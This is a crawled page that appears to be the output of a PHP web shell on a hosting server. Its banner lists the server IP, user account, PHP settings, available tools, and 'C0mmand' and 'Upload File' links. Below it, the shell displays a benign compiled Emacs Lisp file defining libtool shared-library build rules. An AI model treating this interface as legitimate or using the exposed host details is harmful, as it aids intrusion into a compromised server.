Server IP : 111.118.215.189 / Your IP : 18.188.149.185 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/cedet/ede/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:11:08 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/cedet/ede/proj-shared.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\300\303!\210\304\305\306\307\310$\207" [require ede/pmake ede/proj-obj ede/proj-prog eieio-defclass ede-proj-target-makefile-shared-object (ede-proj-target-makefile-program) ((availablecompilers :initform '(ede-gcc-libtool-shared-compiler ede-g++-libtool-shared-compiler)) (availablelinkers :initform '(ede-cc-linker-libtool ede-g++-linker-libtool)) (ldflags :custom (repeat (string :tag "Libtool flag")) :documentation "Additional flags to add when linking this shared library.\nUse ldlibs to add addition libraries.")) ("This target generates a shared library.")] 5) #@28 Compiler for C sourcecode. (defvar ede-gcc-shared-compiler (clone ede-gcc-compiler "ede-c-shared-compiler" :name "gcc -shared" :variables '(("CC_SHARED" . "gcc") ("C_SHARED_COMPILE" . "$(CC_SHARED) -shared $(DEFS) $(INCLUDES) $(CPPFLAGS) $(CFLAGS)")) :autoconf '("AC_PROG_LIBTOOL")) (#$ . 1172)) #@28 Compiler for C sourcecode. (defvar ede-gcc-libtool-shared-compiler (byte-code "\301\302\303\304\305\306\307\310\311\312\313\314\315\307\316&C\317\320&\n\207" [ede-gcc-shared-compiler clone "ede-c-shared-compiler-libtool" :name "libtool" :variables (("LIBTOOL" . "libtool") ("LTCOMPILE" . "$(LIBTOOL) --mode=compile $(CC) $(DEFS) $(INCLUDES) $(CPPFLAGS) $(CFLAGS)") ("LTLINK" . "$(LIBTOOL) --mode=link $(CC) $(CFLAGS) $(LDFLAGS) -L. -o $@")) :rules ede-makefile-rule "cc-inference-rule-libtool" :target "%.o" :dependencies "%.c" ("@echo '$(LTCOMPILE) -o $@ $<'; \\" "$(LTCOMPILE) -o $@ $<") :autoconf ("AC_PROG_LIBTOOL")] 16) (#$ . 1474)) #@33 Linker needed for c++ programs. (defvar ede-cc-linker-libtool (clone ede-cc-linker "ede-cc-linker-libtool" :name "cc shared" :sourcetype '(ede-source-c++) :variables '(("LIBTOOL" . "libtool") ("LTLINK" . "$(LIBTOOL) --tag=CPP --mode=link $(CPP) $(CFLAGS) $(LDFLAGS) -L. -o $@")) :commands '("$(LTLINK) -o $@ $^") :autoconf '("AC_PROG_LIBTOOL") :objectextention ".la") (#$ . 2120)) #@28 Compiler for C sourcecode. (defvar ede-g++-shared-compiler (clone ede-g++-compiler "ede-c++-shared-compiler" :name "gcc -shared" :variables '(("CXX_SHARED" . "g++") ("CXX_SHARED_COMPILE" . "$(CXX_SHARED) -shared $(DEFS) $(INCLUDES) $(CPPFLAGS) $(CFLAGS)")) :autoconf '("AC_PROG_LIBTOOL")) (#$ . 2507)) #@28 Compiler for C sourcecode. (defvar ede-g++-libtool-shared-compiler (byte-code "\301\302\303\304\305\306\307\310\311\312\313\314\315\307\316&C\317\320&\n\207" [ede-g++-shared-compiler clone "ede-c++-shared-compiler-libtool" :name "libtool" :variables (("CXX" "g++") ("LIBTOOL" . "libtool") ("LTCOMPILE" . "$(LIBTOOL) --tag=CXX --mode=compile $(CXX) $(DEFS) $(INCLUDES) $(CPPFLAGS) $(CFLAGS)")) :rules ede-makefile-rule "c++-inference-rule-libtool" :target "%.o" :dependencies "%.cpp" ("@echo '$(LTCOMPILE) -o $@ $<'; \\" "$(LTCOMPILE) -o $@ $<") :autoconf ("AC_PROG_LIBTOOL")] 16) (#$ . 2815)) #@33 Linker needed for c++ programs. (defvar ede-g++-linker-libtool (clone ede-g++-linker "ede-g++-linker-libtool" :name "g++" :sourcetype '(ede-source-c++) :variables '(("LIBTOOL" . "libtool") ("LTLINK" . "$(LIBTOOL) --tag=CXX --mode=link $(CXX) $(CFLAGS) $(LDFLAGS) -L. -o $@")) :commands '("$(LTLINK) -o $@ $^") :autoconf '("AC_PROG_LIBTOOL") :objectextention ".la") (#$ . 3416)) (byte-code "\300\301\302\301\303\"\"\210\304\301\305\306\307$\210\300\310\302\310\311\"\"\210\304\310\305\306\312$\210\300\313\302\313\314\"\"\210\304\313\305\306\315$\210\300\316\302\316\317\"\"\210\304\316\305\306\320$\210\300\321\302\321\322\"\"\210\304\321\305\306\323$\210\324\325!\207" [eieio--defalias ede-proj-configure-add-missing eieio--defgeneric-init-form #1="Query if any files needed by THIS provided by automake are missing.\nResults in --add-missing being passed to automake." eieio--defmethod nil ede-proj-target-makefile-shared-object #[(this) "\300\301 \302\"\205 \300\301 \303\"?\207" [ede-expand-filename ede-toplevel "ltconfig" "ltmain.sh"] 3 #1#] ede-proj-makefile-insert-automake-pre-variables #2="Insert bin_PROGRAMS variables needed by target THIS.\nWe aren't actually inserting SOURCE details, but this is used by the\nMakefile.am generator, so use it to add this important bin program." #[(this) "\303\304\212db\210\305\306\307Q\310\303#)\203; \311\225b\210\312 \210i\313W\2033 h\314U\2046 h\315U\2046 \316c\210\2026 \317c\210\310\202@ \320\261\210\321\322\n!\323Qc\210 \203O \324c\210db*\207" [v addcr this t "lib_LTLIBRARIES" re-search-backward "^" "\\s-*=" nil 0 ede-pmake-end-of-variable 40 61 32 " " "\\\n " "=" "lib" ede-name ".la" "\n"] 4 #2#] ede-proj-makefile-insert-automake-post-variables #3="Insert bin_PROGRAMS variables needed by target THIS.\nWe need to override -program which has an LDADD element." #[(this) "\300\207" [nil] 1 #3#] ede-proj-makefile-target-name #4="Return the name of the main target for THIS target." #[(this) "\301\302!\303Q\207" [this "lib" ede-name ".la"] 3 #4#] ede-proj-makefile-sourcevar #5="Return the variable name for THIS's sources." #[(this) "\301\302!\303\"\304=\203 \305\301\306\"\307Q\207\310 \207" [this eieio-oref ede-target-parent makefile-type Makefile\.am "lib" name "_la_SOURCES" call-next-method] 4 #5#] provide ede/proj-shared] 5)